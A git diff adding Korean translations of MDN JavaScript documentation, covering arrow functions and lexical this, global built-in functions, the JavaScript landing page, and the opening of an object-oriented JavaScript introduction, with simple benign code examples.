+<p>어떤 함수적 패턴에서는, 더 짧은 함수가 환영받습니다. 다음을 비교해 보세요:</p>
+
+<pre class="brush: js">var a = [
+ "Hydrogen",
+ "Helium",
+ "Lithium",
+ "Beryl­lium"
+];
+
+var a2 = a.map(function(s){ return s.length });
+
+console.log(a2); // logs [8, 6, 7, 9]
+
+var a3 = a.map( s =&gt; s.length );
+
+console.log(a3); // logs [8, 6, 7, 9]</pre>
+
+<h3 id="사전적_this">사전적 <code>this</code></h3>
+
+<p>화살표 함수에서, 모든 new함수들은  그들의  <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> 값을 정의합니다 (생성자로서의 새로운 객체, 정의되지 않은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>의 함수 호출,   함수가 "object method"로 호출했을때의 context object ,등등.). 이런 것은 객체지향 프로그래밍 스타일에서 짜증을 불러 일으킵니다.</p>
+
+<pre class="brush: js">function Person() {
+ // The Person() constructor defines `<code>this`</code> as itself.
+  this.age = 0;
+
+ setInterval(function growUp() {
+ // In nonstrict mode, the growUp() function defines `this`
+ // as the global object, which is different from the `this`
+ // defined by the Person() constructor.
+   this.age++;
+ }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>IECMAScript 3/5 에서는, 이 문제는 <code>this</code> 안의 값을 뒤덮을 수 있는변수에 할당하면서 고쳐졌습니다.</p>
+
+<pre class="brush: js">function Person() {
+ var self = this; // Some choose `that` instead of `self`.
+ // Choose one and be consistent.
+ self.age = 0;
+
+ setInterval(function growUp() {
+ // The callback refers to the `self` variable of which
+ // the value is the expected object.
+ self.age++;
+ }, 1000);
+}</pre>
+
+<p>또는, 적절한 <code>this</code> 값이 <code>growUp()</code> 함수에 전달되도록, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">바인딩된 함수</a>가 생성될 수 있습니다.</p>
+
+
+
+<p>화살표 함수에는 <code>this;</code>가 없습니다. 화살표 함수를 포함하는 객체 값이 사용됩니다. 따라서 다음 코드에서 setInterval에 전달 된 함수 내의 this 값은 화살표 함수를 둘러싼 함수의 this와 같은 값을 갖습니다.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">Person</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">this</span><span class="punctuation token">.</span>age <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+
+ <span class="function token">setInterval</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
+ <span class="keyword token">this</span><span class="punctuation token">.</span>age<span class="operator token">++</span><span class="punctuation token">;</span> <span class="comment token">// |this| properly refers to the person object</span>
+ <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="number token">1000</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> p <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="미리_정의된_함수들">미리 정의된 함수들</h2>
+
+<p>자바스크립트에는 최고 등급의 몇가지 내장함수가 있습니다:</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/eval", "eval()")}}</dt>
+ <dd>
+ <p><code><strong>eval()</strong></code> 메소드는 문자열로 표현된 자바스크립트 코드를 수행합니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p><code><strong>uneval()</strong></code> 메소드는  {{jsxref("Object")}}의 소스코드를 표현하는 문자열을 만듭니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</dt>
+ <dd>
+ <p>전역 <code><strong>isFinite()</strong></code> 함수는 전달받은 값이 유한한지 결정합니다. 만약 필요하다면, 매개변수는 첫번째로 숫자로 변환됩니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</dt>
+ <dd>
+ <p><code><strong>isNaN()</strong></code> 함수는 {{jsxref("Global_Objects/NaN", "NaN")}}인지 아닌지 결정합니다. Note:  <code>isNaN</code> 함수 안의 강제 변환은  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">흥미로운</a> 규칙을 가지고 있습니다;  {{jsxref("Number.isNaN()")}}을 대신 사용하고 싶을것입니다, ECMAScript 6 에서 정의된,또는 값이 숫자값이 아닐때,  <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> 를 사용할 수도 있습니다 .</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</dt>
+ <dd>
+ <p><code><strong>parseFloat()</strong></code> 함수는  문자열 인수 값을 해석하여 부동소숫점 수를 반환합니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</dt>
+ <dd>
+ <p><code><strong>parseInt()</strong></code> 함수는 문자열 인수 값을 해석하여 특정한 진법의 정수를 반환합니다  (수학적 수 체계를 기반으로 해서).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</dt>
+ <dd>
+ <p><code><strong>decodeURI()</strong></code> 함수는  사전에 {{jsxref("Global_Objects/encodeURI", "encodeURI")}}을 통해 만들어지거나 비슷한 과정을 통해 만들어진 URI(Uniform Resource Identifier)  를 해독합니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</dt>
+ <dd>
+ <p><code><strong>decodeURIComponent()</strong></code> 메소드는 사전에{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}를 통하여 만들어 지거나 또는 비슷한 과정을 통해 만들어진 URI (Uniform Resource Identifier) 컴포넌트를 해독합니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</dt>
+ <dd>
+ <p><code><strong>encodeURI()</strong></code> 메소드는  URI(Uniform Resource Identifier)를  각 인스턴스의 특정한 문자를 한개, 두개,세개, 또는 네개의 UTF-8인코딩으로 나타내어지는 연속된 확장문자들과 바꾸는 방법으로 부호화 합니다 .(두"surrogate"문자로 구성된 문자들은 오직 네개의 연속된 확장문자 입니다. ).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</dt>
+ <dd>
+ <p><code><strong>encodeURIComponent()</strong></code> 메소드는  URI(Uniform Resource Identifier) 컴포넌트를  각 인스턴스의 특정한 문자를 한개, 두개,세개, 또는 네개의 UTF-8인코딩으로 나타내어지는 연속된 확장문자들과 바꾸는 방법으로 부호화 합니다 .(두"surrogate"문자로 구성된 문자들은 오직 네개의 연속된 확장문자 입니다. ).).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>곧 사라질 <code><strong>escape()</strong></code> 메소드는 한 문자열에서 특정 문자들이 16진 확장 비트열로 바뀌어진 문자열로 계산합니다.  {{jsxref("Global_Objects/encodeURI", "encodeURI")}} 또는 {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} 를 사용하세요.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>곧 사라질 <code><strong>unescape()</strong></code> 메소드는 문자열에서 확장 비트열이 확장 비트열이 나타내는 문자로 바뀌어진 문자열로 계산합니다.  {{jsxref("Global_Objects/escape", "escape")}}에서 확장 비트열이 소개될 것입니다.  <code>unescape()</code> 메소드가 곧 사라지기 때문에,  {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} 를 대신 사용하세요.</p>
+ </dd>
+</dl>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p>
+
+<div class="itanywhere-activator" style="left: 154px; top: 13819.2px; display: none;" title="Google Translator Anywhere"></div>
+
+<div class="itanywhere-activator" style="display: none;" title="Google Translator Anywhere"></div>
diff --git a/files/ko/web/javascript/index.html b/files/ko/web/javascript/index.html
new file mode 100644
index 0000000000..923d422500
--- /dev/null
+++ b/files/ko/web/javascript/index.html
@@ -0,0 +1,118 @@
+---
+title: JavaScript
+slug: Web/JavaScript
+tags:
+ - JavaScript
+ - Landing
+ - Learn
+ - 'l10n:priority'
+ - 자바스크립트
+translation_of: Web/JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>JavaScript</strong>(JS)는 가벼운 인터프리터 또는 <a href="https://ko.wikipedia.org/wiki/JIT_%EC%BB%B4%ED%8C%8C%EC%9D%BC">JIT 컴파일</a> 프로그래밍 언어로, {{Glossary("First-class Function", "일급 함수")}}를 지원합니다. 웹 페이지의 스크립트 언어로서 제일 유명하지만 {{Glossary("Node.js")}}, <a href="https://couchdb.apache.org/">Apache CouchDB</a>, <a href="http://www.adobe.com/devnet/acrobat/javascript.html">Adobe Acrobat</a>처럼 <a class="external" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_Web_pages">많은 비 브라우저 환경</a>에서도 사용하고 있습니다.</span> JavaScript는 {{Glossary("Prototype-based programming", "프로토타입 기반")}}의 동적 다중 패러다임 스크립트 언어로, 객체지향형, 명령형, 선언형(함수형 프로그래밍 등) 스타일을 지원합니다. 자세한 내용은 <a href="/ko/docs/Web/JavaScript/About">JavaScript에 대하여</a>를 참고하세요.</p>
+
+<p>이 문서는 JavaScript 언어 자체만 다루며 웹 페이지를 비롯한 다른 사용 환경에 대해서는 다루지 않습니다. 웹 페이지의 특정 {{Glossary("API")}}에 대하여 알고 싶다면 <a href="/ko/docs/Web/API">웹 API</a>와 <a href="/ko/docs/Glossary/DOM">DOM</a>을 참고하시기 바랍니다.</p>
+
+<p>JavaScript의 표준은 <a href="/ko/docs/Web/JavaScript/언어_리소스">ECMAScript</a>입니다. 2012년 기준 <a href="http://kangax.github.io/compat-table/es5/">최신 브라우저</a>는 모두 ECMAScript 5.1을 온전히 지원합니다. 이전 브라우저의 경우는 최소한 ECMAScript 3까지는 지원합니다. 2015년 6월 17일 <a href="http://www.ecma-international.org">ECMA International</a>에서는 공식명 ECMAScript 2015 로 불리는 ECMAScript의 6번째 주 버전을 발표했습니다(보통 ECMAScript 6 혹은 ES6으로 불립니다). 그 이후 ECMAScript 표준의 출시 주기는 1년입니다. 이 문서는 최신 초안(현재 <a class="external" href="https://tc39.github.io/ecma262/">ECMAScript 2020</a>)에 기반을 둡니다.</p>
+
+<p>JavaScript를 <a href="https://ko.wikipedia.org/wiki/%EC%9E%90%EB%B0%94_(%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D_%EC%96%B8%EC%96%B4)">Java 프로그래밍 언어</a>와 혼동해서는 안 됩니다. "Java"와 "JavaScript" 두 가지 모두 Oracle이 미국 및 기타 국가에 등록한 상표입니다. 하지만, 두 언어는 문법 체계와 사용 방법이 전혀 다릅니다.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="자습서">자습서</h2>
+
+<p>안내서 및 자습서와 함께 JavaScript 프로그램을 짜는 법을 알아보세요.</p>
+
+<h3 id="입문">입문</h3>
+
+<p>JavaScript를 배우고 싶지만 JavaScript 또는 프로그래밍에 대한 이전 경험이 없는 경우 <a href="/ko/docs/Learn/JavaScript">Web 개발 학습하기의 JavaScript 주제</a>를 방문하세요. 사용할 수 있는 전체 모듈은 다음과 같습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps">JavaScript 첫 걸음</a></dt>
+ <dd>"JavaScript는 무엇인가요?", "어떤 모습인가요?", "뭘 할 수 있나요?"와 같은 기본적인 질문에 대답하면서 변수, 문자열, 숫자, 배열과 같은 JavaScript의 주요 기능에 대해서도 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks">JavaScript 구성 요소</a></dt>
+ <dd>JavaScript의 핵심 기본 기능에 대한 이해를 넓히기 위해 조건문, 반복문, 함수, 이벤트와 같이 흔히 찾을 수 코드 블록의 형태에 대해서 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects">JavaScript 객체 소개</a></dt>
+ <dd>JavaScript에 대한 지식을 쌓고, 보다 효율적인 코드를 작성하기 위해서는 JavaScript의 객체지향적인 모습을 이해해야 합니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Asynchronous">비동기 JavaScript</a></dt>
+ <dd>비동기 JavaScript가 중요한 이유와, 비동기적 코드를 사용해 서버에서 리소스 가져오기 등 블록킹 연산을 효율적으로 처리하는 방법을 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs">클라이언트측 웹 API</a></dt>
+ <dd>API란 무엇인지 탐색해보고, 제일 흔히 사용해서 개발 중 자주 마주치게 될 일부 API의 사용법을 배웁니다.</dd>
+ <dt>
+ <h3 id="JavaScript_안내서">JavaScript 안내서</h3>
+ </dt>
+ <dt><a href="/ko/docs/Web/JavaScript/Guide">JavaScript 안내서</a></dt>
+ <dd>
+ <p>JavaScript 또는 다른 언어의 경험을 가진 독자를 대상으로 한 JavaScript 상세 안내서입니다.</p>
+ </dd>
+</dl>
+
+<h3 id="중급">중급</h3>
+
+<dl>
+ <dt><a href="/ko/docs/A_re-introduction_to_JavaScript" title="A re-introduction to JavaScript">JavaScript 재입문</a></dt>
+ <dd>JavaScript에 대해 안다고 <em>생각하는</em> 이들을 위한 개요.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Data_structures" title="JavaScript data structures">JavaScript 데이터 구조</a></dt>
+ <dd>JavaScript에서 이용 가능한 데이터 구조 개요.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness" title="Equality comparisons and sameness">같음 비교 및 동일성</a></dt>
+ <dd>JavaScript는 세 가지 다른 값 비교 연산을 제공합니다: <code>===</code>를 사용한 엄격한(strict) 같음, <code>==</code>를 사용한 느슨한(loose) 같음 및 {{jsxref("Global_Objects/Object/is", "Object.is()")}} 메서드.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Guide/Closures">클로저</a></dt>
+ <dd>클로저는 함수와 그 함수가 선언 된 어휘 환경의 조합입니다.</dd>
+</dl>
+
+<h3 id="고급">고급</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="Inheritance and the prototype chain">상속 및 프로토타입 체인</a></dt>
+ <dd>널리 오해 받고 과소 평가된 프로토타입(원형) 기반 상속의 설명.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="Strict mode">엄격 모드</a></dt>
+ <dd>엄격 모드는 초기화 전에 어떤 변수도 사용할 수 없음을 정의합니다. 이는 빠른 성능 및 쉬운 디버깅을 위한 ECMAScript 5의 제한된 변형(variant)입니다.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Typed_arrays" title="JavaScript typed arrays">JavaScript 형식화된 배열</a></dt>
+ <dd>JavaScript 형식화된 배열은 원시(raw) 이진 데이터에 접근하기 위한 메커니즘을 제공합니다.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Memory_Management">메모리 관리</a></dt>
+ <dd>JavaScript에서 메모리 라이프 사이클 및 가비지 컬렉션.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/EventLoop" title="Concurrency model and Event Loop">동시성 모델 및 이벤트 루프</a></dt>
+ <dd>JavaScript "이벤트 루프"에 기반을 둔 동시성 모델이 있습니다.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="참고서">참고서</h2>
+
+<p>전체 <a href="/ko/docs/Web/JavaScript/Reference" title="JavaScript reference">JavaScript 참고서</a>를 훑어보세요.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects" title="Standard objects">표준 객체</a></dt>
+ <dd>{{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Error")}}, {{jsxref("Function")}}, {{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("RegExp")}}, {{jsxref("String")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}} 등 표준 내장 객체 알아가기.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Operators" title="Expressions and operators">표현식 및 연산자</a></dt>
+ <dd>JavaScript 연산자 {{jsxref("Operators/instanceof", "instanceof")}}, {{jsxref("Operators/typeof", "typeof")}}, {{jsxref("Operators/new", "new")}}, {{jsxref("Operators/this", "this")}}의 행동, <a href="/ko/docs/Web/JavaScript/Reference/Operators/연산자_우선순위" title="operator precedence">연산자 우선순위</a> 등에 대해 더 알아보기.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Statements" title="Statements and declarations">명령문 및 선언문</a></dt>
+ <dd>{{jsxref("Statements/do...while", "do-while")}}, {{jsxref("Statements/for...in", "for-in")}}, {{jsxref("Statements/for...of", "for-of")}}, {{jsxref("Statements/try...catch", "try-catch")}}, {{jsxref("Statements/let", "let")}}, {{jsxref("Statements/var", "var")}}, {{jsxref("Statements/const", "const")}}, {{jsxref("Statements/if...else", "if-else")}}, {{jsxref("Statements/switch", "switch")}} 등의 JavaScript 명령문 및 키워드 작동 법 배우기.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Functions" title="Functions">함수</a></dt>
+ <dd>어플리케이션 개발에 JavaScript 함수로 작업하는 법 배우기.</dd>
+</dl>
+
+<h2 id="도구_자원">도구 &amp; 자원</h2>
+
+<p><strong>JavaScript</strong> 코드 작성과 디버깅을 돕는 유용한 도구 모음입니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/도구들" title="Firefox Developer Tools">Firefox 개발자 도구</a></dt>
+ <dd><a href="/ko/docs/도구들/Web_Console">Web Console</a>, <a href="/ko/docs/도구들/Performance">JavaScript Profiler</a>, <a href="/ko/docs/도구들/Debugger">Debugger</a> 등.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Shells">JavaScript 쉘</a></dt>
+ <dd>빠르게 JavaScript 코드 조각(snippet)을 테스트할 수 있는 JavaScript 쉘.</dd>
+ <dt><a href="https://togetherjs.com/">TogetherJS</a></dt>
+ <dd>간편한 협업.</dd>
+ <dt><a href="http://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt>
+ <dd>"JavaScript" 태그가 달린 Stack Overflow 질문.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript" title="JavaScript versions and release notes">JavaScript 버전 및 출시 노트</a></dt>
+ <dd>JavaScript 기능 역사 및 구현 상태 훑어보기.</dd>
+ <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt>
+ <dd>JavaScript, CSS, HTML 편집 및 실시간 결과 얻기. 외부 자원(resource)을 사용하며 온라인으로 팀과 협업하기.</dd>
+ <dt><a href="https://plnkr.co/">Plunker</a></dt>
+ <dd>Plunker는 온라인에서 여러분의 웹 개발 아이디어를 실제로 만들거나 다른사람과 공유 협업하는 커뮤니티 입니다. 실시간으로 JavaScrip, CSS, HTML을 만들고 편집 할 수 있습니다.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/javascript/introduction_to_object-oriented_javascript/index.html b/files/ko/web/javascript/introduction_to_object-oriented_javascript/index.html
new file mode 100644
index 0000000000..67b15b963d
--- /dev/null
+++ b/files/ko/web/javascript/introduction_to_object-oriented_javascript/index.html
@@ -0,0 +1,289 @@
+---
+title: 객체지향 자바스크립트 개요
+slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript
+translation_of: Learn/JavaScript/Objects
+---
+<p>비록 다른 객체지향적인 언어들과의 차이점에 대한 논쟁들이 있긴 하지만, JavaScript는 강력한 객체지향 프로그래밍 능력들을 지니고 있다.</p>
+
+<p>이 글에서는 객체지향 프로그래밍에 대해 소개하는 것으로 시작해서 자바스크립트의 객체 모델, 그리고 자바스크립트에서의 객체지향 프로그래밍 개념에 대해 간단한 예제로 살펴볼 것이다.</p>
+
+<h2 id="JavaScript_Review" name="JavaScript_Review">자바스크립트 리뷰(JavaScript review)</h2>
+
+<p>만약 변수, 형, 함수, 스코프 등 자바스크립트의 개념에 대해 명확히 이해하고 있지 못하다면, <a href="/en/JavaScript/A_re-introduction_to_JavaScript" title="en/JavaScript/A_re-introduction_to_JavaScript">A re-introduction to JavaScript</a>를 참고해 보자. <a href="/en/JavaScript/Guide" title="en/JavaScript/Guide">Core JavaScript 1.5 Guide</a>라는 글도 도움이 될 것이다.</p>
+
+<h2 id="Object-oriented_programming" name="Object-oriented_programming">객체지향 프로그래밍(Object-oriented programming)</h2>
+
+<p>객체지향 프로그래밍은 실제 세계에 기반한 모델을 만들기 위해 추상화를 사용하는 프로그래밍 패러다임이다. 객체지향 프로그래밍은 modularity, polymorphism, encapsulation을 포함하여 이전에 정립된 패러다임들부터 여러가지 테크닉들을 사용한다. 오늘날 많은 유명한 프로그래밍 언어(자바, 자바스크립트, C#, C++, 파이썬, PHP, 루비, 오브젝트C)는 객체지향 프로그래밍을 지원한다.</p>
+
+<p>객체지향 프로그래밍은 함수들의 집합 혹은 단순한 컴퓨터의 명령어들의 목록 이라는 기존의 프로그래밍에 대한 전통적인 관점에 반하여, 관계성있는 객체들의 집합이라는 관점으로 접근하는 소프트웨어 디자인으로 볼 수 있다. 객체지향 프로그래밍에서, 각 객체는 메시지를 받을 수도 있고, 데이터를 처리할 수도 있으며, 또다른 객체에게 메시지를 전달할 수도 있다. 각 객체는 별도의 역할이나 책임을 갖는 작은 독립적인 기계로 볼 수 있는 것이다.</p>
+
+<p>객체지향 프로그래밍은 보다 유연하고 유지보수성이 높은 프로그래밍을 하도록 의도되었고, 대규모 소프트웨어 공학에서 널리 알려져 있다. 객체지향 프로그래밍이 갖는 modularity에 기반한 강력한 힘에 의해, 객체지향적인 코드는 개발을 보다 단순하게 했고, 시간이 흐른 뒤에도 보다 쉽게 이해할 수 있도록 했으며, 복잡한 상황이나 절차들을 덜 모듈화된 프로그래밍 방법들보다 더 직접적으로 분석하고, 코딩하고, 이해할 수 있도록 만들었다.<sup><a href="#Reference">2</a></sup></p>
+
+<h2 id="Terminology" name="Terminology">용어(Terminology)</h2>
+
+<dl>
+ <dt>Class</dt>
+ <dd>객체의 특성을 정의</dd>
+ <dt>Object</dt>
+ <dd>Class의 인스턴스</dd>
+ <dt>Property</dt>
+ <dd>객체의 특성(예: 색깔)</dd>
+ <dt>Method</dt>
+ <dd>객체의 능력(예: 걷기)</dd>
+ <dt>Constructor</dt>
+ <dd>인스턴스화 되는 시점에서 호출되는 메서드</dd>
+ <dt>Inheritance</dt>
+ <dd>클래스는 다른 클래스로부터 특성들을 상속받을 수 있다.</dd>
+ <dt>Encapsulation</dt>
+ <dd>클래스는 해당 객체의 특성들만을 정의할 수 있고, 메서드는 그 메서드가 어떻게 실행되는지만 정의할 수 있다. (외부 접근 불가)</dd>
+ <dt>Abstraction</dt>
+ <dd>복잡한 상속, 메서드, 객체의 속성의 결합은 반드시 현실 세계를 시뮬레이션할 수 있어야 한다.</dd>
+ <dt>Polymorphism</dt>
+ <dd>다른 클래스들이 같은 메서드나 속성으로 정의될 수 있다.</dd>
+</dl>
+
+<p>객체지향 프로그래밍에 대한 보다 확장된 설명은 <a class="external" href="http://en.wikipedia.org/wiki/Object_oriented_programming">Object-oriented programming</a>를 참고하면 된다.</p>
+
+<h2 id="프로토타입기반_프로그래밍(Prototype-based_programming)">프로토타입기반 프로그래밍(Prototype-based programming)</h2>
+
+<p>프로토타입 기반 프로그래밍은 클래스가 존재하지 않는 객체지향 프로그래밍의 한가지 스타일로, 동작 재사용(behavior reuse, 클래스기반 언어에서는 상속이라고함)은 프로토타입으로서 존재하는 객체를 데코레이팅하는 과정을 통해 수행된다.</p>
+
+<p>프로토타입 기반 언어의 원형적인 예는 David Ungar과 Randall Smith가 개발한 'Self'라는 프로그래밍 언어이다. 그러나 클래스가 없는 프로그래밍 스타일이 최근 인기를 얻으며 성장하였고, 자바스크립트, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak 등의 언어에서 채택되어 왔다.<sup><a href="#Reference">2</a></sup></p>
+
+<h2 id="JavaScript_Object_Oriented_Programming" name="JavaScript_Object_Oriented_Programming">자바스크립트 객체지향 프로그래밍(JavaScript Object Oriented Programming)</h2>
+
+<h3 id="Core_Objects" name="Core_Objects">Core Objects</h3>
+
+<p>자바스크립트는 코어(core)에 몇 개의 객체를 갖고 있다. 예를들면, Math, Object, Array, String과 같은 객체가 있다. 아래의 예제는 Math 객체를 사용해서 무작위 숫자를 만들어내는 것을 보여준다.</p>
+
+<pre class="brush: js">alert(Math.random());
+</pre>
+
+<div class="note"><strong>Note:</strong> <span style="color: #333333; line-height: inherit;">여기와 다른 예제들 모두 alert 이라는 함수가 전역에 선언되어 있다고 가정하고 있다. alert 함수는 실제로 자바스크립트 그 자체에 포함되진 않았지만, 대부분의 브라우저에서 지원하고 있다.</span></div>
+
+<p>자바스크립트의 core object들의 리스트는 <a href="/En/Core_JavaScript_1.5_Reference/Global_Objects" title="En/Core_JavaScript_1.5_Reference/Global_Objects">Core JavaScript 1.5 Reference:Global Objects</a>라는 글을 참고하면 자세히 알 수 있다.</p>
+
+<p>자바스크립트의 모든 객체는 Object 객체의 인스턴스이므로 Object의 모든 속성과 메서드를 상속받는다.</p>
+
+<h3 id="Custom_Objects" name="Custom_Objects">Custom Objects</h3>
+
+<h4 id="The_Class" name="The_Class">The Class</h4>
+
+<p>class문을 흔하게 볼 수 있는 C++이나 자바와는 달리 자바스크립트는 class문이 포함되지 않은 프로토타입 기반 언어이다. 이로인해 때때로 class 기반 언어에 익숙한 프로그래머들은 혼란을 일으킨다. 자바스크립트에서는 function을 class로서 사용한다. 클래스를 정의하는 것은 function을 정의하는 것만큼 쉽다. 아래 예제에서는 Person이라는 이름의 클래스를 새로 정의하고 있다.</p>
+
+<pre class="brush: js">function Person() { }
+</pre>
+
+<h4 id="The_Object_.28Class_Instance.29" name="The_Object_.28Class_Instance.29">The Object (Class Instance)</h4>
+
+<p>obj라는 이름의 객체의 새로운 인스턴스를 만들 때에는 new obj라는 statement를 사용하고, 차후에 접근할 수 있도록 변수에 결과를 받는다.</p>
+
+<p>아래의 예제에서 Person이라는 이름의 클래스를 정의한 후에, 두 개의 인스턴스를 생성하고 있다.</p>
+
+<pre class="brush: js">function Person() { }
+var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<div class="note"><a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a> 메서드 역시 새로운 인스턴스를 만들 때 사용할 수 있다.</div>
+
+<h4 id="The_Constructor" name="The_Constructor">The Constructor</h4>
+
+<p>생성자는 인스턴스화되는 순간(객체 인스턴스가 생성되는 순간) 호출된다. 생성자는 해당 클래스의 메서드이다. 자바스크립트에서는 함수 자체가 그 객체의 생성자 역할을 하기 때문에 특별히 생성자 메서드를 정의할 필요가 없다. 클래스 안에 선언된 모든 내역은 인스턴스화되는 그 시간에 실행된다. 생성자는 주로 객체의 속성을 설정하거나 사용하기 위해 객체를 준비시키는 메서드를 호출할 때 주로 사용된다. 클래스 메서드를 추가하고 정의하는 것은 나중에 설명한다.</p>
+
+<div>아래의 예제에서, Person 클래스의 생성자는 Person 이 인스턴스화되었을 때 alert 을 보여주게 된다.</div>
+
+<pre class="brush: js">function Person() {
+ alert('Person instantiated');
+}
+
+var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<h4 id="The_Property_.28object_attribute.29" name="The_Property_.28object_attribute.29">The Property (object attribute)</h4>
+
+<div>속성은 클래스 안에 있는 변수들을 말한다. 객체의 모든 인스턴스는 그 인스턴스의 속성을 갖는다. 속성들의 상속이 바르게 이루어지려면 해당 클래스(function)의 프로토타입에 선언되어 있어야 한다.</div>
+
+<div> </div>
+
+<div>클래스 내에서 속성 작업은 현재 객체를 가리키는 this 키워드에 의해 이루어진다. 클래스의 외부에서 속성에 접근(읽기 혹은 쓰기)하는 것은 "인스턴스명.속성명" 의 형식으로 이루어진다. 이러한 문법은 C++, 자바나 다른 수많은 언어에서와 동일한 방식이다. (클래스 내부에서 "this.속성명" 은 해당 속성의 값을 읽거나 쓸 때 주로 사용된다)</div>
+
+<div> </div>
+
+<div>아래의 예제에서 Person 클래스에 gender라는 속성을 정의하고 인스턴스화할 때 그 값을 설정한다.</div>
+
+<pre class="brush: js">function Person(gender) {
+ this.gender = gender;
+ alert('Person instantiated');
+}
+
+var person1 = new Person('Male');
+var person2 = new Person('Female');
+
+//display the person1 gender
+alert('person1 is a ' + person1.gender); // person1 is a Male
+</pre>
+
+<h4 id="The_methods" name="The_methods">메서드(The methods)</h4>
+
+<p>메서드는 앞서 살펴본 속성과 같은 방식을 따른다. 차이점이 있다면 메서드는 function이기 때문에 function 형태로 정의된다는 것입니다. 메서드를 호출하는 것은 속성에 접근하는 것과 매우 유사한데 단지 끝에 ()를 추가하면 된다. argument가 있다면 괄호 안에 입력해준다. 메서드를 정의하기 위해서는 클래스의 prototype에 명명된 속성에 함수를 할당하면 된다. 이때 할당된 이름은 해당 객체의 메서드를 호출할 때 사용되는 이름이다.</p>
+
